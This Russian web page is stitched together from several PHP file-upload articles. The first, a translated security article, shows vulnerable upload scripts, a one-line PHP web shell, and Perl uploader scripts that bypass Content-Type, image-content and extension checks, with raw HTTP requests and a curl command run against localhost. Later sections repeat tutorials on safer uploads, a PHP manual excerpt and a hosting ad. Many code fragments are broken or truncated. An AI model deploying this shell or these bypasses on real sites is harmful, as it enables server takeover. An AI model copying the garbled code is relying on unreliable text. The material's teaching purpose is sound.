Отдаем файлы эффективно с помощью PHP. Пример загрузки файлов на сервер (upload) на языке php Html загрузить файл на сервер

  • Перевод

В данной статье демонстрируются основные уязвимости веб-приложений по загрузке файлов на сервер и способы их избежать. В статье приведены самые азы, в врят-ли она будет интересна профессионалам. Но тем неменее - это должен знать каждый PHP-разработчик.

Различные веб-приложения позволяют пользователям загружать файлы. Форумы позволяют пользователям загружать «аватары». Фотогалереи позволяют загружать фотографии. Социальные сети предоставляют возможности по загрузке изображений, видео, и т.д. Блоги позволяют загружать опять же аватарки и/или изображения.

Часто загрузка файлов без обеспечения надлежащего контроля безопасности приводит к образованию уязвимостей, которые, как показывает практика, стали настоящей проблемой в веб-приложениях на PHP.

Проводимые тесты показали, что многие веб-приложения имеют множество проблем с безопасностью. Эти «дыры» предоставляют злоумышленникам обширные возможности совершать несанкционированные действия, начиная с просмотра любого файла на сервере и закачивания выполнением произвольного кода. Эта статья рассказывает об основных «дырах» безопасности и способах их избежать.

Код примеров, приведенных в этой статье, могут быть загружены по адресу:
www.scanit.be/uploads/php-file-upload-examples.zip .

Если Вы хотите их использовать, пожалуйста удостоверьтесь, что сервер, который Вы используете, не доступен из Интернета или любых других публичных сетей. Примеры демонстрируют различные уязвимости, выполнение которых на доступном извне сервере может привести к опасным последствиям.

Обычная загрузка файла

Загрузка файлов, обычно состоит из двух независимых функций – принятие файлов от пользователя и показа файлов пользователю. Обе части могут быть источником уязвимостей. Давайте рассмотрим следующий код (upload1.php):
$uploaddir = "uploads/" ; // Relative path under webroot


echo ;
}
?>


Обычно пользователи будут загружать файлы, используя подобную форму:

< form name ="upload" action ="upload1.php" method ="POST" ENCTYPE ="multipart/form-data" >
Select the file to upload: < input type ="file" name ="userfile" >
< input type ="submit" name ="upload" value ="upload" >

* This source code was highlighted with Source Code Highlighter .

Злоумышленник данную форму использовать не будет. Он может написать небольшой Perl-скрипт (возможно на любом языке – прим. преводчика) , который будет эмулировать действия пользователя по загрузке файлов, дабы изменить отправляемые данные на свое усмотрение.

В данном случае загрузка содержит большую дыру безопасности: upload1.php позволяет пользователям загружать произвольные файлы в корень сайта. Злоумышленник может загрузить PHP-файл, который позволяет выполнять произвольные команды оболочки на сервере с привилегией процесса веб-сервера. Такой скрипт называется PHP-Shell. Вот самый простой пример подобного скрипта:

system($_GET["command"]);
?>

Если этот скрипт находится на сервере, то можно выполнить любую команду через запрос:
server/shell.php?command=any_Unix_shell_command

Более продвинутые PHP-shell могут быть найдены в Интернете. Они могут загружать произвольные файлы, выполнять запросы SQL, и т.д.

Исходник Perl, показанный ниже, загружает PHP-Shell на сервер, используя upload1.php:

#!/usr/bin/perl
use LWP; # we are using libwwwperl
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new ;
$res = $ua->request(POST "http://localhost/upload1.php" ,
Content_Type => "form-data" ,
Content => ,],);

Print $res->as_string();


* This source code was highlighted with Source Code Highlighter .

Этот скрипт использует libwwwperl , который является удобной библиотекой Perl, эмулирующей HTTP-клиента.

И вот что случится при выполнении этого скрипта:

Запрос:

POST /upload1.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost

Content-Length: 156

--xYzZY

Content-Type: text/plain
system($_GET["command"]);
?>
--xYzZY-

Ответ:
HTTP/1.1 200 OK
Date: Wed, 13 Jun 2007 12:25:32 GMT
Server: Apache

Content-Length: 48
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.

После того, как мы загрузили shell-скрипт, можно спокойно выполнить команду:
$ curl localhost/uploads/shell.php?command=id
uid=81(apache) gid=81(apache) groups=81(apache)

cURL – command-line клиент HTTP, доступный на Unix и Windows. Это очень полезный инструмент для того, чтобы проверить веб-приложения. cURL может быть загружен от curl.haxx.se

Проверка Content-Type

Приведенный выше пример редко когда имеет место. В большинстве случаев программисты используют простые проверки, чтобы пользователи загружали файлы строго определенного типа. Например, используя заголовок Content-Type:

Пример 2 (upload2.php):

if ($_FILES[;
exit;
}
$uploaddir = "uploads/" ;
$uploadfile = $uploaddir . basename($_FILES["userfile" ]["name" ]);

if (move_uploaded_file($_FILES["userfile" ]["tmp_name" ], $uploadfile)) {
echo ;
}
?>

* This source code was highlighted with Source Code Highlighter .

В этом случае, если злоумышленник только попытается загрузить shell.php, наш код будет проверять MIME-тип загружаемого файла в запросе и отсеивать ненужное.

Запрос:

POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 156
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: text/plain
system($_GET["command"]);
?>
--xYzZY--

Ответ:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 13:54:01 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 41
Connection: close
Content-Type: text/html
Пока неплохо. К сожалению, есть способ обойти эту защиту, потому что проверяемый MIME-тип приходит вместе с запросом. В запросе выше он установлен как «text/plain» (его устанавливает браузер – прим. переводчика) . Ничего не мешает злоумышленнику установить его в «image/gif», поскольку с помощью эмуляции клиента он полностью управляет запросом, который посылает (upload2.pl):
#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new ;;
$res = $ua->request(POST "http://localhost/upload2.php" ,
Content_Type => "form-data" ,
Content => ,],);

Print $res->as_string();

* This source code was highlighted with Source Code Highlighter .

И вот что получится.

Запрос:

POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif
system($_GET["command"]);
?>
--xYzZY-

Ответ:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:02:11 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html

В итоге, наш upload2.pl подделывает заголовок Content-Type, заставляя сервер принять файл.

Проверка содержания файла изображения

Вместо того, чтобы доверять заголовку Content-Type, разработчик PHP мог бы проверять фактическое содержание загруженного файла, чтобы удостовериться, что это действительно изображение. Функция PHP getimagesize() часто используется для этого. Она берет имя файла как аргумент и возвращает массив размеров и типа изображения. Рассмотрим пример upload3.php ниже.
$imageinfo = getimagesize($_FILES["userfile" ]["tmp_name" ]);
if ($imageinfo["mime" ] != "image/gif" && $imageinfo["mime" ] != "image/jpeg" ) {
echo "Sorry, we only accept GIF and JPEG images\n" ;
exit;
}

$uploaddir = "uploads/" ;
$uploadfile = $uploaddir . basename($_FILES["userfile" ]["name" ]);

if (move_uploaded_file($_FILES["userfile" ]["tmp_name" ], $uploadfile)) {
echo ;
}
?>

* This source code was highlighted with Source Code Highlighter .

Теперь, если нападавший попытается загрузить shell.php, даже если он установит заголовок Content-Type в «image/gif», то upload3.php все равно выдаст ошибку.

Запрос:

POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif
system($_GET["command"]);
?>
--xYzZY-

Ответ:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:33:35 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 42
Connection: close
Content-Type: text/html
Sorry, we only accept GIF and JPEG images

Можно подумать, что теперь мы можем пребывать в уверенности, что будут загружаться только файлы GIF или JPEG. К сожалению, это не так. Файл может быть действительно в формате GIF или JPEG, и в то же время PHP-скриптом. Большинство форматов изображения позволяет внести в изображение текстовые метаданные. Возможно создать совершенно корректное изображение, которое содержит некоторый код PHP в этих метаданных. Когда getimagesize() смотрит на файл, он воспримет это как корректный GIF или JPEG. Когда транслятор PHP смотрит на файл, он видит выполнимый код PHP в некотором двоичном «мусоре», который будет игнорирован. Типовой файл, названный crocus.gif содержится в примере (см. начало статьи). Подобное изображение может быть создано в любом графическом редакторе.

Итак, создадим perl-скрипт для загрузки нашей картинки:

#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new ;;
$res = $ua->request(POST "http://localhost/upload3.php" ,
Content_Type => "form-data" ,
Content => , ],);

Print $res->as_string();

* This source code was highlighted with Source Code Highlighter .

Этот код берет файл crocus.gif и загружает это с названием crocus.php. Выполнение приведет к следующему:

Запрос:

POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY

Content-Type: image/gif
GIF89a(...some binary data...)(... skipping the rest of binary data ...)
--xYzZY-

Ответ:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:47:24 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.

Теперь нападавший может выполнить uploads/crocus.php и получить следущее:

Как видно, транслятор PHP игнорирует двоичные данные в начале изображения и выполняет последовательность "" в комментарии GIF.

Проверка расширения загружаемого файла

Читатель этой статьи мог бы задаться вопросом, почему мы просто не проверяем расширение загруженного файла? Если мы не позволим загружать файлы *.php, то сервер никогда не сможет выполнить этот файл как скрипт. Давайте рассмотрим и этот подход.

Мы можем сделать черный список расширений файла и проверить имя загружаемого файла, игнорируя загрузку файла с выполняемыми расширениями (upload4.php):

$blacklist = array(".php" , ".phtml" , ".php3" , ".php4" );
foreach ($blacklist as $item) {
if (preg_match(;
exit;
}
}

$uploaddir = "uploads/" ;
$uploadfile = $uploaddir . basename($_FILES["userfile" ]["name" ]);

if (move_uploaded_file($_FILES["userfile" ]["tmp_name" ], $uploadfile)) {
echo ;
}
?>


* This source code was highlighted with Source Code Highlighter .

Выражение preg_match ("/$item\$/i", $_FILES["userfile"]["name"]) соответствует имени файла, определенному пользователем в массиве черного списка. Модификатор «i» говорит, что наше выражение регистронезависимое. Если расширение файла соответствует одному из пунктов в черном списке, файл загружен не будет.

Если мы пытаемся загрузить файл c расширением.php, это приведет к ошибке:

Запрос:

POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.php"
Content-Type: image/gif

--xYzZY-

Ответ:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 15:19:45 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 36
Connection: close
Content-Type: text/html
Если мы загружаем файл с расширением.gif, то оно будет загружено:

Запрос:

POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.gif"
Content-Type: image/gif
GIF89(...skipping binary data...)
--xYzZY--

Ответ:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 15:20:17 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.

Теперь, если мы запросим загруженный файл, то он не будет выполнен сервером:

Действительно, загрузка файлов является важной особенностью многих сайтов и веб-приложений, которые мы используем ежедневно. В этой статье я покажу Вам, еще один способ для загрузки файлов с помощью PHP.

Требования

Загрузить файлы на сервер не сложно, но есть несколько мелких деталей, которые должны быть учтены, иначе загрузка не будет выполнена. Во-первых, вы должны убедиться, что PHP настроен на разрешение загрузки. Проверьте ваш php.ini файл и проверьте директиву file_uploads , которая должна быть установлена в On .

После того как Вы настроили конфигурации позволяющие серверу принимать загруженные файлы, Вы можете акцентировать ваше внимание на HTML составляющей. Для загрузки файлов со стороны HTML применяются формы. Крайне важно, чтобы ваши формы использовали метод POST и для атрибута enctype имели значение multipart/form-data .

<form action = "upload.php" method = "post" enctype = "multipart/form-data" >

Написание сценария для процесса загрузки

Процесс загрузки файла в общих чертах выглядит так:

  • Посетитель просматривает HTML страницу с формой для загрузки файлов;
  • Посетитель выбирает в форме файл, который он хочет загрузить;
  • Браузер кодирует файл и отправляет его в качестве части POST запроса;
  • PHP получает форму представления, декодирует файл и сохраняет его во временный каталог на сервере;
  • Далее PHP скрипт перемещает файл на постоянное место хранение.

Следовательно для того чтобы посетитель смог загрузить файл необходима HTML-форма, которая будет предоставлена пользователю и PHP скрипт, чтобы заботиться о загрузке файлов на сервер.

HTML форма

HTML формы обеспечивают интерфейс, через который пользователь инициирует загрузку файлов. Помните, form элемент должен иметь ​​method = POST и не должен кодировать данные при отправке на сервер — атрибут enctype в значение multipart/form-data . Располагаем элемент input для выбора файла. Как и для любого другого элемента формы, нам очень важно указать значение атрибута name , чтобы можно было ссылаться на него в PHP сценарии, который обрабатывает форму.

Форма загрузки файлов выглядит следующим образом:

1
2
3
4
5






Стоит отметить, что различные браузеры отображают поле файл по-разному. Это не проблема, так как пользователи привыкли к тому как выглядит поле выбора файла в их любимом браузере. Однако если внешность важна для Вас, я рекомендую вам ознакомиться с этой статьей .

PHP сценарий загрузки

Информация о загружаемом файле располагается в многомерном массиве $_FILES . Этот массив индексируется по именам файлов помещенных в поле HTML формы. Массив содержит следующую информацию о каждом файле:

  • $_FILES[«myFile»][«name»] — исходное имя файла;
  • $_FILES[«myFile»][«type»] — MIME-тип файла;
  • $_FILES[«myFile»][«size»] — размер файла (в байтах);
  • $_FILES[«myFile»][«tmp_name»] — имя временного файла;
  • $_FILES[«myFile»][«error»] — код любой ошибки при передаче.

Функция move_uploaded_file() перемещает загруженный файл из временного в постоянное место. Вам следует всегда использовать move_uploaded_file() вместо copy() и rename() для этой цели, поскольку она выполняет дополнительную проверку, чтобы убедиться, что файл был действительно загружен с помощью запроса HTTP POST.

Если вы планируете сохранять файл с реальным именем, то нужно соблюсти несколько правил. Имя файла не должно содержать такие символы как слэш, которые могут повлиять на расположение. Название не должно совпадать с названием уже существующих файлов, чтобы не переписать их. Заменяем любые символы не являющиеся буквой или цифрой на нижнее подчеркивание, и добавляем «увеличительное» число при совпадении имен.

Получение и обработка загрузки файлов с помощью PHP выглядит следующим образом:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

// директория для сохранения файла
define ("UPLOAD_DIR" , "/srv/www/uploads/" ) ;

if (! empty ($_FILES [ "myFile" ] ) ) {
$myFile = $_FILES [ "myFile" ] ;

// проверяем на наличие ошибок при загрузке
if ($myFile [ "error" ] !== UPLOAD_ERR_OK) {
echo "

Произошла ошибка.

" ;
exit ;
}

// обеспечиваем безопасное наименование файла
$name = preg_replace ("/[^A-Z0-9._-]/i" , "_" , $myFile [ "name" ] ) ;

// при совпадении имен файлов добавляем номер
$i = 0 ;
$parts = pathinfo ($name ) ;
while (file_exists (UPLOAD_DIR . $name ) ) {
$i ++;
$name = $parts [ "filename" ] . "-" . $i . "." . $parts [ "extension" ] ;
}

// перемещаем файл в постоянное место хранения
$success = move_uploaded_file ($myFile [ "tmp_name" ] ,
UPLOAD_DIR . $name ) ;
if (! $success ) {
echo "" ;
exit ;
}

// задаем права на новый файл
chmod (UPLOAD_DIR . $name , 0644 ) ;

echo "

Файл " . $name . " успешно загружен.

" ;
}

Сначала проверяем файл, загружен ли он без каких-либо ошибок. Затем определяем безопасное имя файла, а затем помещает файл в окончательный каталог с помощью move_uploaded_file() . И в конце устанавливаем права на доступ к файлу.

Вопросы безопасности

Большинство из нас не позволили бы загружать и хранить совершенно незнакомые файлы у себя на сервере, но к сожалению в текущей ситуации это так и есть. Поэтому следует описать несколько шагов, которые позволят свести к минимуму риски, связанные с безопасностью при загрузки файлов.

Один из них заключается в проверке типа загружаемого файла. Опираться на значение хранящееся в $_FILES[«myFile»][«type»] «не есть хорошо», так как расширения в имени файлов могут быть легко подделаны. В таких ситуация лучше проанализировать содержимое файла, например использование функции exif_imagetype() позволяет определить, действительно ли загружаемый файл является картинкой с расширением GIF, JPEG и тд. Если exif_imagetype() не доступна (функция требует расширение Exif ), то вы можете использовать getimagesize() . Возвращаемый массив будет содержать размеры и тип изображения.

1
2
3
4
5
6
7

...
// файл должен являться изображением
$fileType = exif_imagetype ($_FILES [ "myFile" ] [ "tmp_name" ] ) ;
$allowed = array (IMAGETYPE_GIF, IMAGETYPE_JPEG, IMAGETYPE_PNG) ;
if (! in_array ($fileType , $allowed ) ) {
// тип файл не допускается
...

Для не-графических файлов, вы можете использовать Exec() для вызова утилиты Unix — File . Данная утилита определяет тип файла.

Другой шаг, который вы можете сделать для усиления безопасности при загрузке файлов, это наложить жесткие ограничения на общий размер запроса POST и количество файлов, которые могут быть загружены. Чтобы сделать это, необходимо указать соответствующее значение для директив upload_max_size , post_max_size и max_file_uploads в файле php.ini .

  • upload_max_size определяет максимальный размер загружаемых файлов.
  • В дополнение к размеру загрузки, вы можете ограничить размер запрос POST благодаря директиве post_max_size .
  • max_file_uploads более новая директива (добавлена ​​в версии 5.2.12), которая ограничивает количество загружаемых файлов.

post_max_size = 8M
upload_max_size = 2M
max_file_uploads = 20

Третий шаг (несколько экзотический), который вы можете предпринять, чтобы свести к минимуму риск при загрузке файлов — сканирование антивирусным сканером. Стоит добавить, что данная тема является очень серьезной, поэтому ей следует уделить достаточно внимание при разработке веб-приложений!

Таким образом происходит загрузка файлов на сервер с помощью PHP . Если у Вас есть замечания или дополнения к данной статье, оставляйте их в комментариях. Спасибо за прочтение!

P.S. У вас сайт на движке Joomla и вы пользуетесь услугами хостинга? Для тех кто добивается максимальной производительности интернет-проектов, стоит попробовать хостинг с joomla . Специализированный хостинг для сайтов на Joomla обеспечит стабильную и эффективную работу, а выгодные тарифные планы никого не оставят равнодушными.

Данная возможность позволяет загружать как текстовые, так и бинарные файлы. С помощью PHP-функций авторизации и манипуляции файлами вы получаете полный контроль над тем, кому разрешено загружать файлы и что должно быть сделано после их загрузки.

PHP способен получать загруженные файлы из любого браузера, совместимого со стандартом RFC-1867.

Также следует заметить, что PHP поддерживает загрузку файлов методом PUT, который используется в клиентах Netscape Composer и W3C Amaya . Для получения более детальной документации обратитесь к разделу поддержка метода PUT

Пример #1 Форма для загрузки файлов

Страница для загрузки файлов может быть реализована при помощи специальной формы, которая выглядит примерно так:

Отправить этот файл:

В приведенном выше примере __URL__ необходимо заменить ссылкой на PHP-скрипт.

Скрытое поле MAX_FILE_SIZE (значение необходимо указывать в байтах) должно предшествовать полю для выбора файла, и его значение является максимально допустимым размером принимаемого файла в PHP. Рекомендуется всегда использовать эту переменную, так как она предотвращает тревожное ожидание пользователей при передаче огромных файлов, только для того, чтобы узнать, что файл слишком большой и передача фактически не состоялась. Помните, обойти это ограничение на стороне браузера достаточно просто, следовательно, вы не должны полагаться на то, что все файлы большего размера будут блокированы при помощи этой возможности. Это по большей части удобная возможность для пользователей клиентской части вашего приложения. Тем не менее, настройки PHP (на сервере) касательно максимального размера обойти невозможно.

Замечание :

Также следует убедиться, что в атрибутах формы вы указали enctype="multipart/form-data" , в противном случае загрузка файлов на сервер выполняться не будет.

Оригинальное имя файла на компьютере клиента.

$_FILES["userfile"]["type"]

Mime-тип файла, в случае, если браузер предоставил такую информацию. Пример: "image/gif" . Этот mime-тип не проверяется в PHP, так что не полагайтесь на его значение без проверки.

$_FILES["userfile"]["size"]

Размер в байтах принятого файла.

Временное имя, с которым принятый файл был сохранен на сервере.

$_FILES["userfile"]["error"]

Код ошибки , которая может возникнуть при загрузке файла.

По умолчанию принятые файлы сохраняются на сервере в стандартной временной папке до тех пор, пока не будет задана другая директория при помощи директивы upload_tmp_dir конфигурационного файла php.ini . Директорию сервера по умолчанию можно сменить, установив переменную TMPDIR для окружения, в котором выполняется PHP. Установка этой переменной при помощи функции putenv() внутри PHP-скрипта работать не будет. Эта переменная окружения также может использоваться для того, чтобы удостовериться, что другие операции также работают с принятыми файлами.

Пример #2 Проверка загружаемых на сервер файлов

Для получения более детальной информации вы можете ознакомиться с описанием функций is_uploaded_file() и move_uploaded_file() . Следующий пример принимает и обрабатывает загруженный при помощи формы файл.

// В PHP 4.1.0 и более ранних версиях следует использовать $HTTP_POST_FILES
// вместо $_FILES.

$uploaddir = "/var/www/uploads/" ;
$uploadfile = $uploaddir . basename ($_FILES [ "userfile" ][ "name" ]);

echo "

"
;
if (move_uploaded_file ($_FILES [ "userfile" ][ "tmp_name" ], $uploadfile )) {
echo "Файл корректен и был успешно загружен.\n" ;
} else {
echo "Возможная атака с помощью файловой загрузки!\n" ;
}

echo "Некоторая отладочная информация:" ;
print_r ($_FILES );

print "

" ;

?>

PHP-скрипт, принимающий загруженный файл, должен реализовывать логику, необходимую для определения дальнейших действий над принятым файлом. Например, вы можете проверить переменную $_FILES["userfile"]["size"] , чтобы отсечь слишком большие или слишком маленькие файлы. Также вы можете использовать переменную $_FILES["userfile"]["type"] для исключения файлов, которые не удовлетворяют критерию касательно типа файла, однако, принимайте во внимание, что это поле полностью контролируется клиентом, используйте его только в качестве первой из серии проверок. Также вы можете использовать $_FILES["userfile"]["error"] и коды ошибок при реализации вашей логики. Независимо от того, какую модель поведения вы выбрали, вы должны удалить файл из временной папки или переместить его в другую директорию.

В случае, если при отправке формы файл выбран не был, PHP установит переменную $_FILES["userfile"]["size"] значением 0, а переменную $_FILES["userfile"]["tmp_name"] - пустой строкой. none.

По окончанию работы скрипта, в случае, если принятый файл не был переименован или перемещен, он будет автоматически удален из временной папки.


Что может быть общего у фотографий, находящихся в онлайн-фотоальбоме, прикреплённых к электронному письму или у файлов, представленных в онлайн-приложении для пакетной обработки? Всех их необходимо загрузить на сервер через интернет из веб-браузера. Действительно, загрузка файлов является важной особенностью многих сайтов и веб-приложений, которые мы используем ежедневно. Из этой статьи вы узнаете, как добавить к себе на сайт поддержку загрузки файлов используя для этого PHP.

Требования перед загрузкой файлов

Обработка загружаемых файлов - стандартный процесс, но существует несколько мелочей, на которые необходимо обратить внимание перед началом работы. Первое, в чем нужно удостовериться, что PHP настроен и позволяет загружать файлы. Для этого в php.ini стоит проверить директиву file_uploads , и, если она выключена, то включить.

File_uploads = On

Загружаемые файлы сначала сохраняются во временном каталоге (но не волнуйтесь... ваш PHP-скрипт впоследствии может переместить файлы в более подходящее место). Исходное местоположение является временным каталогом для системы по умолчанию. Вы можете указать другой каталог, используя директиву upload_tmp_dir в php.ini. Независимо от этого, будет не лишним проверить, что процесс PHP имеет правильные права на запись в зависимости от используемого каталога.

Upload_tmp_dir = "/tmp" tboronczyk@zarkov:~$ ls -l / | grep tmp drwxrwxrwt 13 root root 40960 2011-08-31 00:50 tmp

После того, как вы уверены, что конфигурация позволяет серверу принимать загруженные файлы, вы можете сосредоточить свое внимание на деталях и добавить HTML форму. Крайне важно, чтобы ваш элемент

использовал метод POST и имел атрибут enctype , установленный для multipart/form-data .

Этапы загрузки файла на сервер

Скорей всего, вы уже можете представить, как загружаются файлы на сервер, основываясь на собственном опыте и требованиях о которых я упомянул выше.

  • Посетитель просматривает HTML-страницу с формой, специально написанной для поддержки загрузки файлов;
  • Далее он предоставляет файл, который он хочет загрузить и нажимает кнопку отправить;
  • Браузер кодирует файл и отправляет его как часть запроса POST;
  • PHP получает форму отправки, декодирует файл и сохраняет его во временном месте на сервере;
  • Написанный PHP-скрипт, ответственный за обработку сообщения формы, проверяет файл и обрабатывает его каким-то образом, часто перемещая его из своего временного местоположения в постоянное, где будет храниться файл.

Для добавления поддержки загрузки файлов вам необходимо создать HTML форму, которая будет представлена пользователю, и скрипт PHP, который позаботится о загруженном файле на сервере.

Добавляем HTML форму для загрузки файла

HTML-формы предоставляют собой интерфейс, через который пользователь инициирует загрузку файла. Нужно помнить, что элемент должен иметь свой атрибут метода, установленный для публикации, и его атрибут enctype , заданный для multipart/form-data . Элемент файла предоставляет поле, используемое для указания файла, который будет загружен. Как и любой другой элемент формы, важно указать атрибут имени, чтобы вы могли ссылаться на него в PHP скрипте, обрабатывающем форму.

Вот как выглядит типичная разметка формы загрузки файлов:


Стоит отметить, что разные браузеры будут визуализировать поле загрузки файла по-разному. IE, Firefox и Opera отображают его как текстовое поле с кнопкой рядом с ней надписью «Обзор» или «Выбрать». Safari отображает ее так же, как кнопку с надписью: «Выбрать файл». По большому счету это не проблема с тех пор, как пользователи привыкли к тому, как поле отображается в своем браузере и умеют его использовать. Иногда, однако, вы столкнетесь с клиентом или дизайнером, который непреклонно представляет его определенным образом. Количество CSS и JavaScript, которые могут применяться к файловому полю, крайне ограничено из-за соображений о безопасности, наложенных браузерами. Типизация файла может быть затруднена. Если внешний вид очень важен для вас, я рекомендую вам прочитать одну из статей «Питер-Пол Кох» типа ввода = «файл» .

Переходим на сервере и работаем с PHP

Информация о загрузке файла предоставляется с помощью многомерного массива $_FILES . Этот массив обладает своей структурой, назначенными именами для полей файла в форме HTML, точно так же, как и при работе с $_GET и $_POST . Затем массив каждого файла содержит следующие элементы:

  • $_FILES["myFile"]["name"] - хранит исходное имя файла;
  • $_FILES["myFile"]["type"] - сохраняет mime-типа файла;
  • $_FILES["myFile"]["size"] - сохраняет размер файла (в байтах);
  • $_FILES["myFile"]["tmp_name"] - хранит имя временного файла;
  • $_FILES["myFile"]["error"] - хранит код ошибки, полученный в результате передачи.

При помощи функции move_uploaded_file() мы можем перенести файл из своего временного каталога в постоянное место. Так же хорошей практикой является использовать именно её вместо copy() и rename() для этой цели, поскольку она выполняет дополнительные проверки, чтобы гарантировать, что файл был действительно загружен запросом HTTP методом POST.

Если вы собираетесь сохранить файл с исходным именем, предоставленным пользователем, рекомендуется убедиться, что это безопасно. Имя файла не должно содержать символов, которые могут повлиять на путь назначения, например, косая черта (слэш). Имя файла должно быть уникальным, чтоб избежать затирания существующих с тем же именем (если это не предусматривается вашим приложением). Гарантировать это можно заменяя любые символы символом подчеркивания, который не является буквой, а затем добавляя увеличивающийся номер, если файл с таким именем уже существует.

Вот так как выглядит получение и обработка загрузки файла при помощи PHP:

Define("UPLOAD_DIR", "/srv/www/uploads/"); if (!empty($_FILES["myFile"])) { $myFile = $_FILES["myFile"]; if ($myFile["error"] !== UPLOAD_ERR_OK) { echo "

Произошла ошибка.

"; exit; } // обеспечиваем безопасное имени файла $name = preg_replace("/[^A-Z0-9._-]/i", "_", $myFile["name"]); // не перезаписываем существующий файл $i = 0; $parts = pathinfo($name); while (file_exists(UPLOAD_DIR . $name)) { $i++; $name = $parts["filename"] . "-" . $i . "." . $parts["extension"]; } // сохраняем файл из временного каталога $success = move_uploaded_file($myFile["tmp_name"], UPLOAD_DIR . $name); if (!$success) { echo ""; exit; } // устанавливаем правильные права для нового файла chmod(UPLOAD_DIR . $name, 0644); }

Сначала мы удостоверяемся, что PHP загрузка файла на сервер прошла без ошибок. Затем определяем безопасное имя файла, как я только что описал выше, а затем перемещаем файл в его конечный каталог с помощью move_uploaded_file() . И наконец делаем вызов chmod() , чтобы убедиться, что в новом файле установлены необходимые права доступа.

Вопросы безопасности

Один из них заключается в том, чтобы проверить тип загружаемого файла, каким он должен быть. Опираться на значение $_FILES["myFile"]["type"] или на расширение имени файла не является безопасным, поскольку оба могут легко подделываться. Скорее, используйте функцию exif_imagetype() , чтобы проверить содержимое файла и определить, действительно ли это GIF, JPEG или один из нескольких других поддерживаемых форматов изображений. Если exif_imagetype() недоступен (функция требует, чтобы расширение Exif было включено), вы можете использовать getimagesize() . Массив, возвращаемый ей, будет содержать тип изображения, если он распознан.

// проверяем файл GIF, JPEG или PNG $fileType = exif_imagetype($_FILES["myFile"]["tmp_name"]); $allowed = array(IMAGETYPE_GIF, IMAGETYPE_JPEG, IMAGETYPE_PNG); if (!in_array($fileType, $allowed)) { // тип файла не разрешен...

Для файлов без изображения вы можете использовать exec() для вызова утилиты файлов unix. он определяет тип файла, ища известные двоичные подписи в ожидаемых местах.

// проверяем файл в формате PDF $mime = "application/pdf; charset=binary"; exec("file -bi " . $_FILES["myFile"]["tmp_name"], $out); if ($out != $mime) { // файл не PDF ...

Еще один шаг, который вы можете предпринять, - наложить жесткие ограничения на общий размер запроса POST и количество файлов, которые можно загрузить. Для этого укажите соответствующее значение для директив upload_max_size , post_max_size и max_file_uploads в php.ini. Директива upload_max_size указывает максимальный размер загрузки файла. В дополнение к размеру загрузки вы можете ограничить размер всего запроса POST директивой post_max_size . max_file_uploads - это новая директива (добавлена в версии 5.2.12), которая ограничивает количество загрузок файлов. Эти три директивы помогают защитить ваш сайт от атак, которые пытаются нарушить его доступность, вызывая интенсивный сетевой трафик или загрузку системы.

Post_max_size = 8M upload_max_size = 2M max_file_uploads = 20

Третий шаг, который вы можете предпринять для минимизации риска, - это сканирование загруженных файлов с помощью антивирусного сканера. Это жизненно важно для защиты от распространённых вирусов и вредоносных программ, особенно если ваш сайт осуществляет файлообмен между разными людьми, как пример - вложения в веб-почтовый клиент или (юридический) сайт для обмена файлами. Существует расширение PHP, которое обеспечивает доступ к ClamAV , но, конечно, вы можете вызвать утилиту командной строки ClamAV так же, как я продемонстрировал для файла.

Exec("clamscan --stdout " . $_FILES["myFile"]["tmp_name"], $out, $return); if ($return) { // файл заражен...

Подводим итоги и делаем выводы

